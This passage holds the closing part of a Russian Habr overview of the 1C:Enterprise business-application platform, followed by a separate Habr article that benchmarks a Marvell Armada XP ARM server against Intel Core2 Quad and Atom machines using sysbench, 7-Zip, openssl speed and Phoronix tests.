IDE Eclipse** Собственно язык программирования 1С по синтаксису напоминает больше всего JavaScript. Язык, строго говоря, не является объектно-ориентированным. В нем нет наследования; но, поскольку все объекты программ 1С принадлежат к одному из встроенных типов объектов – это можно назвать упрощенным наследованием: встроенные типы объектов реализуют предопределенный функционал, который прикладной программист может в своих объектах-наследниках переопределить. Такое наследование – одноуровневое, наследовать от прикладных объектов уже нельзя; похожий подход к наследованию принят в концепции [прототипного программирования](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D1%82%D0%BE%D1%82%D0%B8%D0%BF%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5) (prototype-based programming); одним из популярных представителей этой концепции как раз является JavaScript. Такой подход осознанно ограничивает свободу разработчика прикладных решений, заставляя его для реализации своих задач выбирать нужный тип объекта из разумно ограниченной палитры встроенных типов. Взамен разработчик получает богатый функционал, реализованный платформой, и действительно быструю разработку. Плюсы такого подхода очевидны – учетные системы на 1С создавать легко и быстро. Есть и минусы – если нужно реализовать что-то, для чего в платформе нет встроенных типов (например, работу с SFTP), то нужно либо ждать новой версии платформы, в которой будет реализован этот функционал, либо писать свою реализацию на «обычном» языке и вызывать её из 1С через [технологию внешних компонент](http://v8.1c.ru/overview/Term_000000139.htm). Несколько фактов о встроенном языке программирования 1С: * Поддерживается английский (if… then) и русский (если… тогда) синтаксис. * Язык обладает [полнотой по Тьюрингу](https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%BB%D0%BD%D0%BE%D1%82%D0%B0_%D0%BF%D0%BE_%D0%A2%D1%8C%D1%8E%D1%80%D0%B8%D0%BD%D0%B3%D1%83). * Это язык с динамической типизацией. Переменная связывается с типом в момент присваивания значения, а не в момент объявления переменной. Объявляя переменную, нельзя указать ее тип. Можно так: ``` var а; а = 1; ``` Нельзя так: ``` var a as Int; a = 1; ``` * Для чтения данных из СУБД у 1С есть свой язык запросов, похожий на SQL. Собственно, в SQL он и транслируется при выполнении программ 1С. Как все это работает -------------------- Как решения 1С поставляются конечным пользователям? И как они работают у этих самых конечных пользователей? Чтобы полнее ответить на этот вопрос, надо вспомнить об одной характерной особенности 1С. Проект в 1С называется конфигурацией. Конфигурация – это законченная самодостаточная программа, например, бухгалтерия или ERP; она включает в себя все объекты и код, нужные для полноценного функционирования бизнес-приложения. Особенность 1С в том, что конфигурация хранится в базе данных, в той же самой, в которой лежат данные самого приложения (проводки, данные справочников и документов и т.п.), т.е. программа хранится вместе с данными. База данных с конфигурацией (и данными приложения) в терминологии 1С называется информационной базой (сокращенно – инфобазой). Конфигурация может выгружаться в файл; в виде файла она обычно от разработчика поступает конечным пользователям, на клиентской системе этот файл импортируется в инфобазу. После этого решение готово к работе. ![image](https://habrastorage.org/r/w1560/files/634/b32/d92/634b32d92e6240dca931eb6ac4f6c7d8.png) **Архитектура решений 1С** Где какой софт установлен: * Сервер СУБД – одна или несколько СУБД, поддерживаемых 1С (MS SQL, Oracle, IBM DB2, PostgreSQL). Если на сервере 1С установлено несколько приложений 1С — приложения могут использовать разные СУБД; например, бухгалтерия – MS SQL, а ERP – Oracle. * Сервер – один или несколько серверов отказоустойчивого масштабируемого кластера. Тут должен быть установлен программный продукт «Сервер 1С» (набор библиотек и исполняемых файлов). Отказоустойчивость и масштабируемость кластера, а также балансировка нагрузки между серверами кластера обеспечиваются средствами ПО «1С». В составе одного кластера могут быть сервера под Windows и Linux, в системе может быть предусмотрен резервный кластер. * Клиент: ОС Windows или Linux, должен быть установлен тонкий клиент (1cv8c.exe/1cv8) или толстый клиент 1С (1Cv8.exe для Windows, 1cv8 – для Linux). + Тонкий клиент умеет исполнять ограниченный набор функциональности встроенного языка 1С. Оперирует ограниченным набором типов встроенного языка, предназначенным лишь для отображения и изменения данных в памяти. Вся работа с базой данных, объектными данными, исполнение запросов выполняется на стороне сервера. Тонкий клиент только получает готовые данные, подготовленные для отображения. + Толстый клиент может исполнять практически всю функциональность, предоставляемую встроенным языком 1C сам, прибегая к помощи сервера только когда надо записать или считать данные из базы. Ограничения: требует значительного количества аппаратных ресурсов и может «общаться» с кластером серверов 1С только по локальной сети. Считается устаревшим, поддерживается для обратной совместимости. * Веб-сервер – IIS или Apache. От 1С – ставится набор расширений для веб-серверов. * Веб-клиент – любой из четырех поддерживаемых браузеров: Internet Explorer, Chrome, Firefox, Safari. * Мобильный клиент: iOS или Android и любое мобильное приложение 1С. Способ общения мобильного приложения 1С с сервером зависит от конкретного приложения; чаще всего используются Web- или HTTP-сервисы. Между собой компоненты 1С — сервер, тонкий и толстый клиенты и веб-расширения — общаются или по собственному протоколу (реализованному поверх TCP), или по http. Что особенного в 1С ------------------- Что выгодно отличает технологию «1С: Предприятие»? Благодаря инновационному подходу к организации разработки (о нем ниже) в «1С: Предприятии» легко делать две вещи: создавать бизнес-решения с нуля и кастомизировать существующие решения под потребности конечных пользователей. ### Разработка Легко создавать решения с нуля — благодаря встроенным объектам, реализующим базовый функционал учетных систем. Именно продуманная система встроенных объектов (а не язык, который в общем-то обычный скриптовый) делает «1С:Предприятие» мощным инструментом создания бизнес-приложений. Разработчику не нужно писать слой доступа к данным, базовый UI и т.п. – можно сразу сосредоточиться на решении бизнес-задачи. Для решения бизнес-задач также многое уже реализовано во встроенных объектах (читай – базовых библиотеках) – например, поддержка иерархических справочников, учетные машины для реализации бухгалтерского и товарного учета, механизмы для сложных периодических расчетов (например, расчета зарплаты) и многое другое. «Из коробки» разработчик получает встроенные объекты (справочники, документы, регистры и т.д.), реализованные платформой; это паттерны из мира учетных систем. В прикладном решении (конфигурации) разработчик реализует эти паттерны, наполняя их конкретной бизнес-логикой. Прикладное решение в «1С:Предприятии» не пишется в прямом смысле на языке программирования. Два краеугольных камня идеологии разработки – разработка от метаданных ([Metadata-driven development](https://msdn.microsoft.com/en-us/library/aa480019.aspx)) и построение приложения на основе модели ([Model-driven development](http://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D0%B7%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B0,_%D1%83%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D1%8F%D0%B5%D0%BC%D0%B0%D1%8F_%D0%BC%D0%BE%D0%B4%D0%B5%D0%BB%D1%8F%D0%BC%D0%B8)). В основе бизнес-приложения лежат метаданные, представляющие собой декларативное описание самого приложения. Прикладное решение описывается не в терминах реляционных таблиц, классов объектного языка программирования и т.д., как в большинстве систем. Решение в «1С: Предприятии» описывается метаданными в виде совокупности прикладных объектов, выбираемых из определенного набора прототипов-паттернов (справочников, документов, планов счетов, …). Метаданные образуют иерархию объектов, из которых формируются все составные части прикладной системы и которые определяют все аспекты ее поведения. При работе бизнес-приложения платформа интерпретирует метаданные, обеспечивая всю необходимую функциональность. Метаданными описываются структуры данных, состав типов, связи между объектами, особенности их поведения и визуального представления, система разграничения прав доступа, пользовательский интерфейс и т. д. В метаданных сосредоточены сведения не только о том, что хранится в базе данных, но и о том, зачем хранится та или иная информация, какова ее роль в системе и как связаны между собой информационные массивы. Использование языка программирования ограничено в основном решением тех задач, которые действительно требуют алгоритмического описания (расчет налогов, проверка корректности введенных данных и т. д.). Коротко сформулировать основной принцип разработки на «1С: Предприятии» можно так: «Давайте программировать только там, где это действительно необходимо, и предоставим платформе выполнять всю рутинную работу». В «1С: Предприятии» изначально заложена ориентация на построение прикладного решения на основе определенной модели. Под моделью понимается вся идеология построения прикладного решения. Это способы построения структур данных, типы связей между данными, принципы манипулирования ими, формы описания бизнес-логики, способы связи данных с интерфейсными объектами, разделение функциональности по уровням системы и многое другое. Все бизнес-приложения следуют принятой модели, и этим обеспечивается единообразие и предсказуемость их поведения. Разработчик, желающий отразить в прикладном решении специфику той или иной предметной области, имеет вполне определенный набор способов решения этой задачи средствами, заложенными в платформу. С одной стороны, такой подход ограничивает (осмысленно!) свободу разработчика, но с другой — защищает его от множества ошибок и позволяет в сжатые сроки получать работоспособное решение, которое сможет в дальнейшем развиваться и поддерживаться как им самим, так и, при необходимости, другим специалистом. Наличие единой модели положительно сказывается на простоте освоения системы. Вся разработка ведется в рамках одной сквозной системы понятий, в едином пространстве типов данных. Описание в метаданных тех или иных объектов (сущностей) сразу определяет и соответствующие типы встроенного языка программирования, и необходимые для их хранения структуры БД. Все последующие манипуляции этими объектами как в памяти, так и в БД выполняются единообразно, не требуя преодоления барьеров между различными нотациями, принятыми при работе с СУБД и универсальными языками программирования. Готовое приложение (конфигурация), поставляемое в открытых исходных кодах (например, бухгалтерия или ERP), для программиста на стороне клиента – это уже практически DSL (Domain Specific Language, предметно-специфичный язык). Программист может использовать готовые объекты конфигурации (справочник контрагентов, план счетов, расчет зарплаты) для модификации поведения системы под нужды заказчика. ### Кастомизация и поддержка Коротко о бизнес-логике прикладного решения можно сказать следующее: её меняют. Её меняют сотрудники IT-отделов клиента, адаптируя решение под бизнес-процессы предприятия. И её меняет поставщик решения, добавляя новый функционал, поддерживая изменения законодательства и периодически выпуская обновления. Процедура установки обновления там, где бизнес-логика была изменена «на местах» под нужды клиента, часто бывает нетривиальной операцией, иногда чреватой ошибками. По большому счету, это слияние исходных кодов нового приложения от поставщика с измененным (по сравнению с предыдущей версией от поставщика) приложением клиента. С одной стороны, надо получить новый функционал, пришедший с обновлением; с другой стороны – не потерять свои наработки. Эта задача хорошо знакома всем, кому приходилось работать в команде над одним приложением и объединять (merge) свои изменения исходного кода с изменениями других участников команды. Даже если все разработчики из одной команды и придерживаются одного набора правил разработки и оформления кода, задача слияния исходников бывает подчас непростым делом. Ну а в случае ERP систем она осложняется тем, что разработчики поставщика и клиента работают в разных организациях и у них далеко не всегда есть возможность пообщаться в случае затруднений с пониманием кода. Не стоит забывать, что при слишком масштабных изменениях, внесенных клиентом, поставщик приложения может посчитать, что не будет осуществлять дальнейшую поддержку решения у клиента. Описанное выше – одна из самых непростых задач в жизненном цикле практически любой бизнес-системы с открытым кодом приложения. От того, насколько успешно производитель ПО решит эту задачу, во многом зависит успех приложения на рынке. В случае «1С» объединение в ходе обновления двух конфигураций (поставщика и пользователя) – это не просто объединение исходных кодов двух приложений, это прежде всего объединение моделей приложений, которое должно проходить по определенным правилам. Для решения данной задачи фирма 1С разработала [механизм поддержки](http://v8.1c.ru/overview/Term_000000290.htm) (входит в состав платформы «1С: Предприятие»), позволяющий поставщику решения определять, какие объекты конфигурации (справочники, документы и т.п.) клиент может менять, а какие – нет, т.к. их изменение нарушит работоспособность системы или сделает невозможной ее дальнейшую централизованную поддержку поставщиком. В свою очередь, и клиент с помощью этого механизма может определять правила поддержки объектов своей конфигурации — например, он может отказаться от поддержки поставщиком конкретного объекта, если возьмет на себя ответственность за дальнейшую модификацию этого объекта или если данный объект ему в его работе не нужен. А можно, наоборот, запретить редактирование объекта «своей» конфигурации (даже если поставщик разрешает это делать) с тем, чтобы застраховаться от случайного изменения. В идеале хотелось бы, чтобы пользовательские изменения существовали как бы «в стороне» от стандартной конфигурации поставщика и включались в работу только в момент непосредственного выполнения кода. В этом случае процесс установки обновлений от поставщика станет автоматическим процессом, не требующим вмешательства человека. 1С предлагает два подхода, покрывающих значительный процент сценариев кастомизации. Первый подход — использование [внешних обработок](http://v8.1c.ru/overview/Term_000000601.htm) и [внешних отчетов](http://v8.1c.ru/overview/Term_000000600.htm). Эти механизмы позволяют надстраивать дополнительную функциональность «сверху» системы, не изменяя исходного кода конфигурации. По сути это скрипты с графическим интерфейсом, предназначенные для запуска на конкретном прикладном решении. Эти механизмы породили свой аналог «App Store», [онлайновый магазин](http://infostart.ru/public/all/), где независимые программисты выкладывают, а конечные пользователи приобретают нужные дополнения для разных программ. Второй подход, появившийся сравнительно недавно – [расширения](http://v8.1c.ru/overview/Term_000000883.htm). Стратегия, предлагаемая расширениями, заключается в том, что изменять типовую конфигурацию не нужно. Все изменения выполняются в так называемом расширении, которое, по сути, тоже является конфигурацией (но пользовательской, отдельной от конфигурации поставщика). При этом установка обновления от поставщика будет автоматической – с точки зрения механизма поддержки стандартная конфигурация не поменялась. А при работе итоговой конфигурации (которая есть комбинация типовой конфигурации и расширения) будут задействованы те объекты, которые добавлены (или модифицированы) в расширении. Что еще? -------- Что еще есть интересного/важного в технологической линейке 1С? В списке – наиболее значимые механизмы, о каждом из которых можно написать отдельную статью (или несколько): * Облачное решение [1cFresh](http://v8.1c.ru/overview/Term_000000823.htm) — «облако из коробки», горизонтально масштабируемая среда для работы с прикладными решениями 1С (и фирм-партнеров) в модели сервиса (SaaS). Продукт содержит в себе все нужные для работы SaaS функции – регистрация и управление пользователями, возможность быстрой публикации новых прикладных решений, создание резервных копий пользовательских данных и т.п. Фирма 1С сама использует продукт 1cFresh для предоставления своих продуктов в аренду ([http://1cfresh.com](http://1cfresh.com/)), а также продает решение 1cFresh как коробочный продукт, позволяя партнерам и клиентам разворачивать собственные облака для прикладных решений на основе технологий «1С: Предприятие». * [Мобильная платформа 1С](http://v8.1c.ru/overview/Term_000000874.htm) (упомянутая выше), позволяющая создавать приложения для мобильных ОС (iOS, Android) из одного исходного кода, используя ту же методику и среду разработки (Конфигуратор), что и для «обычных» приложений 1С. * Мощная и гибкая [система отчетности](http://v8.1c.ru/overview/Term_000000287.htm). Отчеты – крайне важный механизм в любой бизнес-системе; многие ERP используют внешние генераторы отчетов от других производителей, т.к. создание хорошего генератора отчетов – непростая задача с особой спецификой. В 1С отчеты разрабатываются в той же среде (Конфигураторе), что и само приложение; в основе механизма отчетов лежит [система компоновки данных](http://v8.1c.ru/overview/Term_000000093.htm) (СКД) – механизм декларативного описания отчетов. Одна из важных особенностей отчетов в 1С – это то, что конечный пользователь, может изменить созданный разработчиком отчет «под себя», используя те же возможности по дизайну отчетов, что и разработчик. * [Механизм обмена данными](http://v8.1c.ru/overview/Term_000000269.htm), позволяющий создавать территориально распределенные информационные системы, обменивающиеся данными в офлайн режиме, без постоянного соединения. Обмен данными возможен как между приложениями «1С: Предприятия», так и между приложениями «1С: Предприятия» и сторонними системами. * И еще много интересного ![image](https://habrastorage.org/r/w1560/files/faf/e93/552/fafe9355213946368acf83ec7e258161.png) **«1С:Предприятие» — технологии и инструменты** Вместо заключения ----------------- Надеюсь, у не знакомых с 1С читателей сложилась более-менее ясная картинка – что такое 1С, как она работает и какие возможности она предоставляет разработчикам. За рамками обзора осталось много интересных тем; о них — в следующий раз. Платформенно-ориентированный подход к архитектуре приложений был выбран фирмой 1С еще в середине 1990-х. Это своеобразное сочетание мощной платформы и разумно-ограниченного прикладного языка хорошо себя показало – на технологиях 1С создано более 1000 официально сертифицированных фирмой 1С решений для самых разных областей бизнеса, от автоматизации малого бизнеса до систем управления предприятиями с тысячами одновременно работающих пользователей. Понятно, что при таком подходе особые требования предъявляются к платформе. При разнообразии поддерживаемых технологий платформа должна обеспечивать быструю и надежную работу прикладных решений. Фирма «1С» уже много сделала в этом направлении, и эта работа продолжается. Comments are welcome:) Петр Грибанов
https://habr.com/ru/post/267321/
null
ru
null
# Процессоры ARM? Практика. Marvel Armada XP ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/97c/0bf/6f2/97c0bf6f22a961f8061cea3b68b1ed2a.png) Прежде всего хочу выразить благодарность компании Rikor и Олегу лично за предоставленные платформы для тестирования. По прежнему вы можете [взять на тест Marvell Armada XP](http://globatel.ru) для себя и в дальнейшем, как тестер, оставить их у себя в пользовании за символическую плату. Как и обещал в прошлой статье [Сервер на ARM? Made in Russia!](http://habrahabr.ru/company/globatel_ltd/blog/210022/) — привожу тесты производительности серверов на процессорах ARM. Так как ARM это процессор сделанный по технологии [System-On-Chip](http://ru.wikipedia.org/wiki/%D1%E8%F1%F2%E5%EC%E0_%ED%E0_%EA%F0%E8%F1%F2%E0%EB%EB%E5), то заострим наше внимание на производительности процессора. На просторах всемирной паутины много тестов, но все они для нас, как фантастическое путешествие на Марс — как проводились, какой именно ревизии процессор (или просто другого производителя), какой софт использовался не ясно. А тут — сервера перед нами, остается только протестировать. Тестовые стенды: 1) **Core2 Quad:** **ОС:** CentOS release 5.7 **Процессор:** 4-х ядерный Intel® Core(TM)2 Quad CPU Q9450 @ 2.66GHz **ОЗУ:** MemTotal 3939800kB 2) **Atom D510:** **ОС:** Ubuntu 12.04.3 **Процессор:** 2-х ядерный Intel® Atom(TM) CPU D510 @ 1.66GHz, 4-потока **ОЗУ:** MemTotal 4032060kB 3) **Marvell Armada XP:** **ОС:** Ubuntu 12.04.3 **Процессор:** 4-х ядерный Marvell PJ4Bv7 Processor rev 2 (v7l) **ОЗУ:** MemTotal 8019640 kB Жесткие диски во всех трех стендах WD black. ОЗУ в Core 2 Quad и Atom D510 стоит максимальное количество. ### sysbench — тест процессора Тест запускался в 4 потока и в 10000 запросов к процессору. **Core2 Quad**Test execution summary: total time: 2.5107s total number of events: 10000 total time taken by event execution: 10.0303 per-request statistics: min: 0.95ms avg: 1.00ms max: 487.26ms approx. 95 percentile: 0.95ms **Atom D510**Test execution summary: total time: 37.6966s total number of events: 10000 total time taken by event execution: 150.7424 per-request statistics: min: 9.18ms avg: 15.07ms max: 39.05ms approx. 95 percentile: 15.09ms **ARM Armada XP**Test execution summary: total time: 67.4705s total number of events: 10000 total time taken by event execution: 269.7890 per-request statistics: min: 26.66ms avg: 26.98ms max: 57.05ms approx. 95 percentile: 27.10ms ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/f73/b04/659/f73b046595f757bcdc320c09565f82e3.png) ### OLTP тестирование — производительность MySQL с sysbench Сначала создаем innoDB таблицу на 10000 записей. Командой `sysbench —test=oltp —mysql-table-engine=innodb —oltp-table-size=10000 —mysql-user=root —mysql-password=root —db-driver=mysql —test=oltp prepare` Затем команда `sysbench --num-threads=8 --max-requests=500 --oltp-table-size=10000 --mysql-user=root --mysql-password=root --db-driver=mysql --test=oltp run` выполнит тест с 8 клиентами (максимальное количество запросов — 500) на таблице, которая была создана на предыдущем этапе. Вывод тестов: **Atom D510**Running the test with following options: Number of threads: 8 Random number generator seed is 0 and will be ignored Threads started! OLTP test statistics: queries performed: read: 7028 write: 2008 other: 1004 total: 10040 transactions: 502 (93.89 per sec.) deadlocks: 0 (0.00 per sec.) read/write requests: 9036 (1690.02 per sec.) other operations: 1004 (187.78 per sec.) General statistics: total time: 5.3467s total number of events: 502 total time taken by event execution: 42.2692s response time: min: 57.34ms avg: 84.20ms max: 129.67ms approx. 95 percentile: 100.21ms Threads fairness: events (avg/stddev): 62.7500/0.66 execution time (avg/stddev): 5.2836/0.03 **Marvell Armada XP**Running the test with following options: Number of threads: 8 Doing OLTP test. Running mixed OLTP test Using Special distribution (12 iterations, 1 pct of values are returned in 75 pct cases) Using «BEGIN» for starting transactions Using auto\_inc on the id column Maximum number of requests for OLTP test is limited to 500 Threads started! Done. OLTP test statistics: queries performed: read: 7000 write: 2500 other: 1000 total: 10500 transactions: 500 (361.28 per sec.) deadlocks: 0 (0.00 per sec.) read/write requests: 9500 (6864.24 per sec.) other operations: 1000 (722.55 per sec.) Test execution summary: total time: 1.3840s total number of events: 500 total time taken by event execution: 11.0083 per-request statistics: min: 8.47ms avg: 22.02ms max: 55.15ms approx. 95 percentile: 39.44ms Threads fairness: events (avg/stddev): 62.5000/1.87 execution time (avg/stddev): 1.3760/0.00 Для сравнения возьмем три показателя: transactions (транзакции), read/write requests (запросы чтения/записи), other operations (другие операции). Значение deadlocks не берем, т.к. оно одинаково на обоих платформах и равно нулю. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/e41/d4b/1cb/e41d4b1cb6874aa1301a3734efb4dcf9.jpg) ### Архивация информации с помощью 7zip Архивировать будем 1ГБ случайно созданных данных. `du -sh /tmp/ramfs/file 1.0G /tmp/ramfs/file time 7za a dummy -mmt=4 -txz -so /tmp/ramfs/file | dd of=/dev/null` **Core 2 Quad**7-Zip (A) [64] 9.20 Copyright © 1999-2010 Igor Pavlov 2010-11-18 p7zip Version 9.20 (locale=C,Utf16=off,HugeFiles=on,4 CPUs) Scanning Creating archive stdout Everything is Ok 2093146+15 records in 2093159+1 records out 1071697500 bytes (1.1 GB) copied, 160.375 seconds, 6.7 MB/s real 2m40.376s user 8m11.635s sys 0m5.290s **Atom D510**7-Zip (A) [64] 9.20 Copyright © 1999-2010 Igor Pavlov 2010-11-18 p7zip Version 9.20 (locale=C,Utf16=off,HugeFiles=on,4 CPUs) Scanning Creating archive stdout Everything is Ok 2097252+15 records in 2097263+1 records out 1073798860 bytes (1.1 GB) copied, 557.429 s, 1.9 MB/s real 9m17.434s user 34m46.120s sys 0m26.012s **Marvell Armada XP**7-Zip (A) 9.20 Copyright © 1999-2010 Igor Pavlov 2010-11-18 p7zip Version 9.20 (locale=C,Utf16=off,HugeFiles=on,4 CPUs) Scanning Creating archive stdout Everything is Ok 2097249+17 records in 2097263+1 records out 1073798860 bytes (1.1 GB) copied, 578.709 s, 1.9 MB/s real 9m38.713s user 32m26.630s sys 0m21.290s ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/990/5d3/4a0/9905d34a0c013da8e3bfc5c35c9a4dab.jpg) ### Тесты компрессии и декомпресси в 7zip **Core 2 Quad**7-Zip (A) [64] 9.20 Copyright © 1999-2010 Igor Pavlov 2010-11-18 p7zip Version 9.20 (locale=ru\_RU.UTF-8,Utf16=on,HugeFiles=on,4 CPUs) RAM size: 3847 MB, # CPU hardware threads: 4 RAM usage: 850 MB, # Benchmark threads: 4 Dict Compressing | Decompressing Speed Usage R/U Rating | Speed Usage R/U Rating KB/s % MIPS MIPS | KB/s % MIPS MIPS 22: 8950 339 2569 8706 | 117613 397 2675 10611 23: 7510 294 2604 7651 | 115900 398 2666 10606 24: 8044 326 2653 8649 | 113672 398 2651 10546 25: 7424 311 2728 8477 | 112064 399 2642 10538 — Avr: 317 2638 8371 398 2659 10575 Tot: 358 2648 9473 **Atom D510**7-Zip (A) [64] 9.20 Copyright © 1999-2010 Igor Pavlov 2010-11-18 p7zip Version 9.20 (locale=en\_US.UTF-8,Utf16=on,HugeFiles=on,4 CPUs) RAM size: 3937 MB, # CPU hardware threads: 4 RAM usage: 850 MB, # Benchmark threads: 4 Dict Compressing | Decompressing Speed Usage R/U Rating | Speed Usage R/U Rating KB/s % MIPS MIPS | KB/s % MIPS MIPS 22: 1895 312 591 1843 | 34517 398 782 3114 23: 1871 317 602 1906 | 34142 399 783 3124 24: 1845 325 610 1984 | 33684 399 783 3125 25: 1794 331 618 2048 | 30397 354 806 2858 — Avr: 321 605 1945 388 788 3055 Tot: 354 697 2500 **Marvell Armada XP**7-Zip (A) 9.20 Copyright © 1999-2010 Igor Pavlov 2010-11-18 p7zip Version 9.20 (locale=en\_US.UTF-8,Utf16=on,HugeFiles=on,4 CPUs) RAM size: 7831 MB, # CPU hardware threads: 4 RAM usage: 850 MB, # Benchmark threads: 4 Dict Compressing | Decompressing Speed Usage R/U Rating | Speed Usage R/U Rating KB/s % MIPS MIPS | KB/s % MIPS MIPS 22: 1662 282 573 1616 | 45116 394 1034 4070 23: 1645 286 587 1676 | 44412 393 1033 4064 24: 1636 291 604 1759 | 43816 394 1032 4065 25: 1626 296 628 1856 | 43331 396 1029 4074 — Avr: 288 598 1727 394 1032 4068 Tot: 341 815 2898 Для графика возьмем среднее значение скорости компрессии и декомпрессии. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/058/e4e/3cd/058e4e3cd970b610625136b814359a39.jpg) ### Тестирование производительности с Openssl speed За счёт мультипроцессорности (4 одновременно запущенных процесса) бенчмарка вывод не читаемый, но суть заключается в расчётё различных типов шифрования. Здесь нам важно общее время выполнения задания и последняя часть вывода программы. **Core 2 Quad**OpenSSL 0.9.8e-fips-rhel5 01 Jul 2008 built on: Tue Feb 7 05:45:53 EST 2012 options:bn(64,64) md2(int) rc4(ptr,int) des(idx,cisc,16,int) aes(partial) blowfish(ptr2) compiler: gcc -fPIC -DOPENSSL\_PIC -DZLIB -DOPENSSL\_THREADS -D\_REENTRANT -DDSO\_DLFCN -DHAVE\_DLFCN\_H -DKRB5\_MIT -I/usr/kerberos/include -DL\_ENDIAN -DTERMIO -Wall -DMD32\_REG\_T=int -O2 -g -pipe -Wall -Wp,-D\_FORTIFY\_SOURCE=2 -fexceptions -fstack-protector --param=ssp-buffer-size=4 -m64 -mtune=generic -Wa,--noexecstack -DOPENSSL\_USE\_NEW\_FUNCTIONS -fno-strict-aliasing -DOPENSSL\_BN\_ASM\_MONT -DSHA1\_ASM -DSHA256\_ASM -DSHA512\_ASM -DMD5\_ASM -DAES\_ASM available timing options: TIMES TIMEB HZ=100 [sysconf value] timing function used: real 7m21.644s user 0m0.002s sys 0m0.001s **Atom D510**OpenSSL 1.0.1 14 Mar 2012 built on: Tue Jun 4 07:26:06 UTC 2013 options:bn(64,64) rc4(16x,int) des(idx,cisc,16,int) aes(partial) blowfish(idx) compiler: cc -fPIC -DOPENSSL\_PIC -DZLIB -DOPENSSL\_THREADS -D\_REENTRANT -DDSO\_DLFCN -DHAVE\_DLFCN\_H -m64 -DL\_ENDIAN -DTERMIO -g -O2 -fstack-protector --param=ssp-buffer-size=4 -Wformat -Wformat-security -Werror=format-security -D\_FORTIFY\_SOURCE=2 -Wl,-Bsymbolic-functions -Wl,-z,relro -Wa,--noexecstack -Wall -DOPENSSL\_NO\_TLS1\_2\_CLIENT -DOPENSSL\_MAX\_TLS1\_2\_CIPHER\_LENGTH=50 -DMD32\_REG\_T=int -DOPENSSL\_IA32\_SSE2 -DOPENSSL\_BN\_ASM\_MONT -DOPENSSL\_BN\_ASM\_MONT5 -DOPENSSL\_BN\_ASM\_GF2m -DSHA1\_ASM -DSHA256\_ASM -DSHA512\_ASM -DMD5\_ASM -DAES\_ASM -DVPAES\_ASM -DBSAES\_ASM -DWHIRLPOOL\_ASM -DGHASH\_ASM real 16m37.958s user 0m0.016s sys 0m0.000s **Marvell Armada XP**OpenSSL 1.0.1 14 Mar 2012 built on: Tue Jun 4 07:43:19 UTC 2013 options:bn(64,32) rc4(ptr,char) des(idx,cisc,16,long) aes(partial) blowfish(ptr) compiler: cc -fPIC -DOPENSSL\_PIC -DZLIB -DOPENSSL\_THREADS -D\_REENTRANT -DDSO\_DLFCN -DHAVE\_DLFCN\_H -DL\_ENDIAN -DTERMIO -g -O2 -fstack-protector --param=ssp-buffer-size=4 -Wformat -Wformat-security -Werror=format-security -D\_FORTIFY\_SOURCE=2 -Wl,-Bsymbolic-functions -Wl,-z,relro -Wa,--noexecstack -Wall -DOPENSSL\_NO\_TLS1\_2\_CLIENT -DOPENSSL\_MAX\_TLS1\_2\_CIPHER\_LENGTH=50 -DOPENSSL\_BN\_ASM\_MONT -DOPENSSL\_BN\_ASM\_GF2m -DSHA1\_ASM -DSHA256\_ASM -DSHA512\_ASM -DAES\_ASM -DGHASH\_ASM real 16m39.221s user 0m0.010s sys 0m0.010s ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/f31/82b/cef/f3182bcef0e2136f09f4458f99699a9b.jpg) ### С помощью Phoronix Test Suite протестируем процессоры наших платформ **Atom D510**Phoronix Test Suite v3.6.1 Installed: pts/polybench-c-1.0.2 PolyBench-C Test Configuration Test: 1: 3 Matrix Multiplications 2: Correlation Computation 3: Covariance Computation 4: Test All Options Enter Your Choice: System Information Hardware: Processor: Intel Atom D510 @ 1.66GHz (4 Cores), Motherboard: Intel D510MO, Chipset: Intel N10 Family DMI, Memory: 2 x 2048 MB DDR2-800MHz, Disk: 320GB Hitachi HTS54323, Graphics: Intel N10 Family IGP, Audio: Realtek ALC662 rev1, Network: Realtek RTL8111/8168B Software: OS: Ubuntu 12.04, Kernel: 3.8.0-29-generic (x86\_64), Display Driver: intel, Compiler: GCC 4.6, File-System: ext4, Screen Resolution: 1280x800 Would you like to save these test results (Y/n): Estimated Run-Time: 10 Minutes PolyBench-C 3.2: pts/polybench-c-1.0.2 [Test: 3 Matrix Multiplications] Test 1 of 3 Estimated Trial Run Count: 3 Estimated Test Run-Time: 4 Minutes Estimated Time To Completion: 10 Minutes Started Run 1 @ 15:58:43 Started Run 2 @ 16:06:02 Started Run 3 @ 16:13:16 [Std. Dev: 0.08%] Test Results: 432.50632214546 431.82482385635 432.36951303482 Average: 432.23 Seconds PolyBench-C 3.2: pts/polybench-c-1.0.2 [Test: Correlation Computation] Test 2 of 3 Estimated Trial Run Count: 3 Estimated Test Run-Time: 4 Minutes Estimated Time To Completion: 7 Minutes Started Run 1 @ 16:20:34 Started Run 2 @ 16:21:03 Started Run 3 @ 16:21:32 [Std. Dev: 0.80%] Test Results: 27.11058306694 26.767813205719 26.717456102371 Average: 26.87 Seconds PolyBench-C 3.2: pts/polybench-c-1.0.2 [Test: Covariance Computation] Test 3 of 3 Estimated Trial Run Count: 3 Estimated Time To Completion: 4 Minutes Started Run 1 @ 16:22:05 Started Run 2 @ 16:22:36 Started Run 3 @ 16:23:05 [Std. Dev: 4.04%] Started Run 4 @ 16:23:34 [Std. Dev: 3.70%] Started Run 5 @ 16:24:05 [Std. Dev: 3.66%] Started Run 6 @ 16:24:37 [Std. Dev: 4.24%] Test Results: 29.076143026352 26.863905906677 27.619282960892 28.831228017807 29.238312959671 26.504108190536 Average: 28.02 Seconds real 55m28.781s user 25m44.476s sys 0m1.728s **Marvell Armada XP**Phoronix Test Suite v3.6.1 Installed: pts/polybench-c-1.0.2 PolyBench-C Test Configuration Test: 1: 3 Matrix Multiplications 2: Correlation Computation 3: Covariance Computation 4: Test All Options Enter Your Choice: System Information Hardware: Processor: Marvell- PJ4Bv7 rev 2 (4 Cores), Motherboard: Marvell Armada XP GP Board, Memory: 8192MB, Disk: 640GB JMicron H/W RAID Software: OS: 